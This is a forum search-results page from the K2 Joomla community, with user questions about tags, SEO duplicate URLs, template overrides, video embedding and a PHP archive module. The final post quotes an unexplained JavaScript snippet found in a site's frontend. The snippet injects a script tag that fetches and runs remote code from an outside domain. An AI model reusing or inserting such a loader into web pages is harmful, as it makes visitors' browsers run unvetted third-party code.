COMMUNITY FORUM
Search Results (Searched for: k2 Tag)
- Peter Grube
Different size images within one category?
Category: English K2 Community
I think you can do it the way you mentioned, you just have to click the readmore button after you have added the image & the text you want to show in cat view. You may have to check in K2 parameters that the img tag is not being stripped. in cat view.
- Alan Sparkes
Tag list limits
Category: English K2 Community
Imagine a blog with tags as part of your K2 content - you only want to see tag listings from stuff in your blog, not the rest of your site.
SO when you click a tag on 'htc phones' you dont get items listings from another section of content which might be about your organization or recipes of the day.
I can see how you can pass a category id in the tag cloud module and adjust the itemlist model for tags. However this doesnt play nice with sef nor does it solve the larger issue of what items to show if you want it limited by multiple categories
Anyone have this itch?
- Alan Sparkes
sh404 & K2 tag display - duplicates or real urls?
Category: English K2 Community
K2 tags links have contextual display when non sef / sh404
By contextual I mean the active menu Itemid and therefore, from a user point of view, the section of the site you are in.
For example:
Menu item 'publications' has an Itemid 212
http://domain/index.php?option=com_k2&view=itemlist&layout=category&task=category&id=43&Itemid=212
When you click an item tag link to a tag, eg named "Conflict" on this page, it will resolve to Itemid 212
eg: index.php?option=com_k2&view=itemlist&task=tag&tag=Conflict&Itemid=212
Menu item 'Our Work' gets an Itemid of 184
domain/index.php?option=com_k2&view=item&id=163:conservation-agriculture-project-care-sierra-leone&Itemid=184
A tag link to a tag name "Conflict" on this page will resolve to Itemid 184
eg:http://domain/index.php?option=com_k2&view=itemlist&task=tag&tag=Conflict&Itemid=184
Turn on sh404 and you only get one tag link for "conflict"
domain/tag/conflict
sh404 will store duplicates with the different context of each url above but this means sh404 is forcing you to choose one when actually bot are valid
Unfortunately this means sh404 fails to keep the context of where a K2 tag is being viewed.
One option is to turn on the menu item id append which will add an item id to the url - but this defeats the whole purpose of using a URL Manager.
Another option is to manually make specific urls for every tag in the different contexts. Eg I can take the two urls above and make custom urls like:
our-work/theme/conflict
publications/theme/conflict
To fully realise the work involved in this you can multiply the number of tags by the number of categories
So if you have 60 tags and 10 categories you can go and make 600 custom urls to deal with the issue. This is just not a sustainable option to me.
Is there another solution from the K2 side?
- Peter Grube
Template Overide 101
Category: English K2 Community
I have just created a template overide which mainly consisted of putting most extra field , Video & Image Gallery in Tabs. The result maybe seen Here .
I guess I should have asked this question before proceeding, It's in regards to the following elements and what is the consequence of the changes I made.
- Peter Grube

09 Dec 2012 06:06 Replied by Peter Grube on topic No paragraphs or pictures on k2 articles No paragraphs or pictures on k2 articles
Category: English K2 Community
Hi Samuel,
Try checking in K2 Admin / Information / Parameters / Content - make sure in Content Cleanup
Introtext HTML cleanup (tag strip) & Fulltext HTML cleanup (tag strip) are both set to No, then refresh both your sites site & browser cache.
- Pierpaolo
joomla 2.5 k2 2.6 non visualizza i video inserìti
Category: Comunità italiana K2
Dopo tre giorni che cerco di capire cosa c'è che non va ho deciso di scrivere sul forum. Premetto che mi sono guardato tutti i video tutorial della portale e che c'è in rete, (mi sono smazzato tutta la documentazione di K2), ma non sono riuscito a risolvere il problema.
Semplicemte joomla versione 2.5.6 con k2 versione 2.6.2 e plugin Allvideos.
Ho provato sia con Allvideos che senza e Allvideos l'ho attivato nelle impostazioni del plugin.
Inserisco i video all'interno degli items, setto correttamente come spiegato in rete su media (poi setto la sotto sezione) use online video service con youtube e il video ID. Nel sezione content aggiungo il tag :
{youtube}IuSejjIrW6c{/youtube}
Salvo vado nel frontend lui mi crea lo spazio del video ma non visualizza nulla. Ovviamente nel backend sezione video del item io il video lo vedo e riesco a visualizzarlo.
Ho provato a creare un item e a fare nella rispettiva sezione media e video l'upload del file video, con rispettivo tag {mp4}ipad_large{/mp4}. Ma non cambia nulla. Ho provato a inserire nel content dell'item lo scritp iframe di youtube per la condivisione tramite editor html, ma il risultato è sempre lo stesso.
nel pdf ci sono degli screenshot dei vari procedimenti/tentativi
Qualche idea, o è già capitato a qualcuno?
Potrebbe dipendere dal template (il template è sempre della k2 e sviluppato da loro)?
il sito è questo: www.visualabstudio.com
Intanto Grazie.
- Solar Angellis
Index linking ( link target )
Category: English K2 Community
I have the Category K2 showing up in one column in index page .
Inside i have a post with some striptags for virtuemart to show up some items .
the main problem , when clicking on a vm item ( i have tryded with regular k2 item post , same problem ) i want to target self as a link .
instead is opening the post inside the coll index . behaving like a frame .
i need when clicking to follow up the link and open the damn thing . without opening it inside the so to call frame .
if needed ill provide a link to show exactly where is the problem .
- Ivo
Choose custom template for K2Tools module tags
Category: English K2 Community
For the most pages I have a nice custom template but for the tagcloud results page and search results page I can't choose a custom template. How do i choose a custom template for these pages? It's a module in my Joomla site. In the module settings I can't choose another (custom) template.
I know I can change the default tag.php and K2.css files but then I change the K2 core files. So I don't think that is the right way to go.
Who can help me with this. I've tried to search the forum but I couldn't find the right answer.
Regards
Ivo
- roy storcken
comma in between tags
Category: English K2 Community
I would like to display comma's between the tags in my website.
This page has these comma's: getk2.org/extend/extensions/date/item/985-b2j-k2-news-loader
Can someone please post a bit of php code so i can override the default php from k2?
or is it an option in k2 to display these comma's?
kind regards and thank you,
Roy
- yaksushi
Problem with item meta tags
Category: English K2 Community
- nigratruo
Advantages / disadvantages of using K2?
Category: English K2 Community
- Wouter
[SOLVED] K2 Tools archive module sort by year than month
Category: English K2 Community
<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2ArchivesBlock<?php if($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>"> <ul> <?php foreach ($months as $month): ?> <li> <?php if ($params->get('archiveCategory', 0) > 0): ?> <a href="<?php echo JRoute::_('index.php?option=com_k2&view=itemlist&task=date&month='.$month->m.'&year='.$month->y.'&catid='.$params->get('archiveCategory')); ?>"> <?php echo $month->name.' '.$month->y; ?> <?php if ($params->get('archiveItemsCounter')) echo '('.$month->numOfItems.')'; ?> </a> <?php else: ?> <a href="<?php echo JRoute::_('index.php?option=com_k2&view=itemlist&task=date&month='.$month->m.'&year='.$month->y); ?>"> <?php echo $month->name.' '.$month->y; ?> <?php if ($params->get('archiveItemsCounter')) echo '('.$month->numOfItems.')'; ?> </a> <?php endif; ?> </li> <?php endforeach; ?> </ul> </div>The query is from another file
public static function getArchive(&$params) { $mainframe = JFactory::getApplication(); $user = JFactory::getUser(); $aid = (int)$user->get('aid'); $db = JFactory::getDBO(); $jnow = JFactory::getDate(); $now = K2_JVERSION == '15' ? $jnow->toMySQL() : $jnow->toSql(); $nullDate = $db->getNullDate(); $query = "SELECT DISTINCT MONTH(created) as m, YEAR(created) as y FROM #__k2_items WHERE published=1 AND ( publish_up = ".$db->Quote($nullDate)." OR publish_up <= ".$db->Quote($now)." ) AND ( publish_down = ".$db->Quote($nullDate)." OR publish_down >= ".$db->Quote($now)." ) AND trash=0"; if (K2_JVERSION != '15') { $query .= " AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") "; if ($mainframe->getLanguageFilter()) { $languageTag = JFactory::getLanguage()->getTag(); $query .= " AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") "; } } else { $query .= " AND access<={$aid} "; } $catid = $params->get('archiveCategory', 0); if ($catid > 0) $query .= " AND catid=".(int)$catid; $query .= " ORDER BY created DESC"; $db->setQuery($query); $rows = $db->loadObjectList(); $months = array(JText::_('K2_JANUARY'), JText::_('K2_FEBRUARY'), JText::_('K2_MARCH'), JText::_('K2_APRIL'), JText::_('K2_MAY'), JText::_('K2_JUNE'), JText::_('K2_JULY'), JText::_('K2_AUGUST'), JText::_('K2_SEPTEMBER'), JText::_('K2_OCTOBER'), JText::_('K2_NOVEMBER'), JText::_('K2_DECEMBER'), ); if (count($rows)) { foreach ($rows as $row) { if ($params->get('archiveItemsCounter')) { $row->numOfItems = modK2ToolsHelper::countArchiveItems($row->m, $row->y, $catid); } else { $row->numOfItems = ''; } $row->name = $months[($row->m) - 1]; $archives[] = $row; } return $archives; } }- Tomasz Bieliński
Problem with item meta tags
Category: English K2 Community
I deleted meta description tag from menu items and put them to the sh404SEF menu items meta description.
This enabled the K2 items meta descriptions to be visible.
I think it should be possible with the use of K2 only but it isn't. Hope that The K2 update will solve this soon.
Another issue is the Tag page linked to the K2 tag and not linked to the menu item. There is no way to put the meta tags there.
regards Tomek
- yaksushi
K2 SEO issue - Can it be fixed?
Category: English K2 Community
Peter wrote: Hey has the duplicate url issue discussed in the fist post (7 months ago) been resolved, because if it hasn't why is Admin telling us to get sh404sef ?
I have been building my site for months now using K2 and today - when I almost finished - to my surprise I realized that K2 has been building a lot of duplicated URLs. The guys over at anything-digital said that it's a K2 issue and not a sh404SEF issue, which is cleary true.
First the damn tags are producing a duplicated URL every time an article has been posted with already an existend tag. This describes it pretty well.
This issue is not new to K2, related threads has been posted in the past with not so useful solutions.
It seems to me sh404sef developers blame k2, who blame Joomla in the meantime nothing changes, it seems the ball is squarely in k2's court, why not get together with anythingdigital to make & sell a plugin that works gets rid of this duplicate content problem once & for all instead of passing the buck.. The way i see it it's in every bodies best interest to get this sorted.
Peter I 100% agree! I'm still waiting on a solution to this issue.
- william white
Why do I need K2, or why should I use it?
Category: English K2 Community
see the desc here getk2.org/
k2 when coupled with sigpro and all videos provides rich content with no other extensions or components an it will live alongside joomla content, as well as outside ecommerce solutions.
K2 has integrations for two ecommerce systems that use the k2 content for the display of merchandise
K2mart www.joomlaworks.net/extensions/commercial-premium/k2mart for virtumart integration
and
K2Store k2store.org/
- David
Why do I need K2, or why should I use it?
Category: English K2 Community
My questions are fairly basic. What are the advantages to using K2 over the standard Joomla article CMS? Specifically, our component is geared toward e-commerce or storefront projects and websites, so please keep that in mind for this next question. Is K2 something that will add functionality, or streamline processes, which would increase efficiencies and save development time?
Any information that anyone could give me on this topic would be greatly appreciated. Thank you very much.
- David
Is it possible to add a reservation function?
Category: English K2 Community
I am, however, completely new to the K2 arena, but I'm sure my knowledge of the rental business will be easily transposed. I just logged onto the K2 forum, like 2 and a half hours after your post, and I'm not even sure of the standard protocol, but I would think that you and your project, along with my company may very well have some common synergies. Perhaps we could get in touch and discuss the possibilities.
I will update all my contact information in my K2 account, so hopefully it will be available for you. Please contact me if you would, even if we don't do any business. I would like to ask your opinion on using K2 in the first place. I'm really in the preliminary stages and when I said I was considering using K2, I meant that I am just starting the initial research. I was going to post some questions myself but I saw yours the first thing and wanted to view it. Any information that you can provide me with would be greatly appreciated.
- David Brisebois
Splitting content in multiple modules
Category: English K2 Community
I have already used K2 to build a website. Now, we are building this website again, adn we want to do something I don't know if it's possible and how.
We are using the Metropolis template from RocketTheme, and we are making a directory-like website where local businesses have their own webpages with their information. But we dont want a simple article, we want to split content in modules (One for Contact informations, one for a map, one for an image gallery...)
For now, I have built one example webpage with custom content modules in Joomla, but I will have tons of modules (at least 6 per business).
I have found the K2 Split Content plugin, but this is not exactly what I need. I have too much things to split.
I have thought of making an article for each information block with a tag attached so I can retrieve dynamically the related article by tag, but I don't see how it could be made...
I can't give you a link to the website, but I have attached a screenshot of what we want to do.
Any idea on this ?
Thanks a lot
- william white
K2 TEMPLATING ERROR
Category: English K2 Community
Since you are only using one column, the quickest way to fix it would be to set leading items to 0, and just display primary items
- e.babis
Script appear under the item text
Category: English K2 Community
only in frontend appears a script in the end of my article. if i search in the source code from my editor in my article doesn't show anything.
I have joomla 3.0 and K2 2.6.1
it appears that code
// DATA[ (function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})(); // ]]></script>"
i dont know how that happen..
i have made my template for k2 and i have made overrides to modules and css. i have not change anything from the core..
please if someone can help me i would appreciate
thanks